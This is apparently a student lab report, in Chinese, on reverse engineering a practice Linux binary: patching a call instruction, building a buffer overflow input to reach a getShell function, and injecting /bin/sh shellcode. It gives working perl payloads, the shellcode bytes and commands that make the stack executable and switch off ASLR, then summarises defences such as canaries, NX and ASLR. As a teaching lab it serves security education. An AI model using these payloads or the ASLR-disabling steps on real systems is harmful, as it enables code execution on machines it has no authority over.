2019-2020-2 20175334罗昕锐《网络对抗技术》Exp1 PC平台逆向破解

2019-2020-2 20175334罗昕锐《网络对抗技术》Exp1 PC平台逆向破解

1 逆向及Bof基础实践说明

1.1实践目标

• 本次实践的对象是一个名为pwn1的linux可执行文件

• 该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串

• 该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode

• 三个实践内容如下：

  • 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数

  • 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数

  • 注入一个自己制作的shellcode并运行这段shellcode

• 这几种思路，基本代表现实情况中的攻击目标:

  • 运行原本不可访问的代码片段

  • 强行修改程序执行流

  • 以及注入运行任意代码

1.2基础知识

• 熟悉Linux基本操作

• 能看懂常用指令,如管道（|），输入、输出重定向（>）等

• 理解Bof的原理

• 能看得懂汇编、机器指令、EIP、指令地址

• 会使用gdb,vi

2 直接修改程序机器指令，改变程序执行流程

• 知识要求：Call指令，EIP寄存器,指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具

• 学习目标：理解可执行文件与机器指令

• 进阶：掌握ELF文件格式，掌握动态技术

2.1下载目标文件pwn1,使用objdump -d pwn1对pwn1反汇编：

2.2在vim中修改地址，反汇编查看结果

• call 8048491是汇编指令，是说这条指令将调用位于地址8048491处的foo函数，其对应机器指令为e8 d7ffffff，e8即跳转之意,当解释e8这条指令呢，CPU就会转而执行EIP + d7ffffff这个位置的指令，d7ffffff是补码，80484ba+d7ffffff= 80484ba-0x29正好是8048491这个值

• main函数调用foo，对应机器指令为e8 d7ffffff，那我们想让它调用getShell，只要修改d7ffffff为getShell-80484ba对应的补码就行；用Windows计算器，直接47d-4ba就能得到补码c3ffffff

• 由此我们就修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff以实现改变程序执行流程

• 打开我们备份的文件pwn2，显示为乱码，输入:%!xxd将显示模式切换为16进制模式

• 查找要修改的内容e8d7ffffff，将其修改为c3ffffff，之后使用:%!xxd -r转换16进制为原格式后保存并退出

• 以下操作是在vi内

1.按ESC键
2.输入如下，将显示模式切换为16进制模式
:%!xxd
3.查找要修改的内容
/e8d7
4.找到后前后的内容和反汇编的对比下，确认是地方是正确的
5.修改d7为c3
6.转换16进制为原格式
:%!xxd -r
7.存盘退出vi
:wq

• 使用objdump -d pwn2对pwn2反汇编，检查call指令是否正确调用getShell

• 运行改后的代码，会得到shell提示符

3 通过构造输入参数，造成BOF攻击，改变程序执行流

• 知识要求：堆栈结构，返回地址

• 学习目标：理解攻击缓冲区的结果，掌握返回地址的获取

• 进阶：掌握ELF文件格式，掌握动态技术

3.1 反汇编，了解程序的基本功能

• 首先使用objdump -d pwn1 | more进行反汇编，了解程序的基本功能

• 该可执行文件正常运行是调用如下函数foo，这个函数有Buffer overflow漏洞，我们的目标是利用此漏洞覆盖返回地址

3.2 确认输入字符串哪几个字符会覆盖到返回地址

• 用gdb调试程序，再使用info r查看寄存器的值，发现输入的1234被覆盖到堆栈上的返回地址，接下来我们就要把字符串中会覆盖EIP的字符替换成getShell的地址

3.3 确认用什么值来覆盖返回地址

-于是我们将getShell的地址0x0804847d把后面的数值替换，即是输入11111111222222223333333344444444\x7d\x84\x04\x08

3.4 构造输入字符串

• 由于我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值，所以先生成包括这样字符串的一个文件。\x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键

• 于是我们通过输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input来生成这样的文件。然后查看input文件的内容是否如预期

• 然后将input的输入，通过管道符“|”，作为pwn1的输入。

4 注入Shellcode并执行

4.1 准备一段Shellcode

• shellcode就是一段机器指令

  • 通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），

  • 所以这段机器指令被称为shellcode。

  • 在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。

• 实践采用老师推荐的shellcode：\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

4.2准备工作

• 在root用户下进行准备工作

execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1    //查询文件的堆栈是否可执行，显示X pwn1则表示可执行
more /proc/sys/kernel/randomize_va_space  //查看随机化是否关闭，如显示0则已关闭，否则未关闭
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space 

4.3 构造要注入的payload

• Linux下有两种基本构造攻击buf的方法：

• retaddr+nop+shellcode

• nop+shellcode+retaddr

• 因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面,简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边

• 本次实验使用的缓冲区足够放shellcode，所以采用nops+shellcode+retaddr，使用如下命令使输出重定向>将perl生成的字符串存储到文件input_shellcode中
  perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

• 打开一个终端使用(cat input_shellcode;cat) | ./pwn1注入这段攻击bof

• 再开另外一个终端，用gdb来调试pwn1这个进程，输入ps -ef | grep pwn1找到pwn1的进程号是1333

• 在gdb中使用attach 1333调试这个进程，使用disassemble foo查看到ret的地址

• 设置断点，然后在另外一个终端中按下回车，再在gdb输入c继续运行，使用info r esp查看栈顶指针所在的位置，并查看改地址存放的数据

0xffffd2cc存放的数据是01020304，那么shellcode地址就是0xffffd390

• 修改input_shellcode文件对应代码为：
  perl -e 'print "A" x 32;print "\x90\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

• 然后使用(cat input_shellcode;cat) | ./pwn1将input_shellcode的输入，通过管道符“|”，作为pwn1的输入

4.5结合nc模拟远程攻击

• 在一台机器上

• 在两台机器上

5 Bof攻击防御技术

5.1从防止注入的角度

• 在编译时，编译器在每次函数调用前后都加入一定的代码，用来设置和检测堆栈上设置的特定数字，以确认是否有bof攻击发生。

5.2. 注入了也不让运行

• 结合CPU的页面管理机制，通过DEP/NX用来将堆栈内存区设置为不可执行，这样即使是注入的shellcode到堆栈上，也执行不了

5.3. 增加shellcode的构造难度

• shellcode中需要猜测返回地址的位置，需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实：应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR，地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了

• /proc/sys/kernel/randomize_va_space用于控制Linux下 内存地址随机化机制，有以下三种情况

  • 0表示关闭进程地址空间随机化

  • 1表示将mmap的基址，stack和vdso页面随机化

  • 2表示在1的基础上增加栈（heap）的随机化

5.4 从管理的角度

加强编码质量;注意边界检测;使用最新的安全的库函数

6 实验收获与感想

• 本次实验是网络对抗技术课程的一次实验，是关于PC平台逆向破解，根据老师提供的教程和同学的指导，完成了本次实验；通过本次实验，我学会了直接修改程序机器指令、BOF攻击、Shellcode注入执行，这些都是以前闻所未闻的，希望在之后的学习中也能够带着对本门课程的兴趣进行
  下去，拓宽自己的知识面，提高自己的实践能力

7 回答问题：什么是漏洞？漏洞有什么危害？

• 漏洞就是系统的弱点和缺陷，是在软硬件设计时未被考虑到的、有被攻击隐患的缺陷；漏洞的存在会给不法分子入侵计算机的机会，如：缓冲区溢出攻击、SQL注入攻击等，从而导致个人资料的泄露、权限的变更、病毒的传播、恶意勒索等后果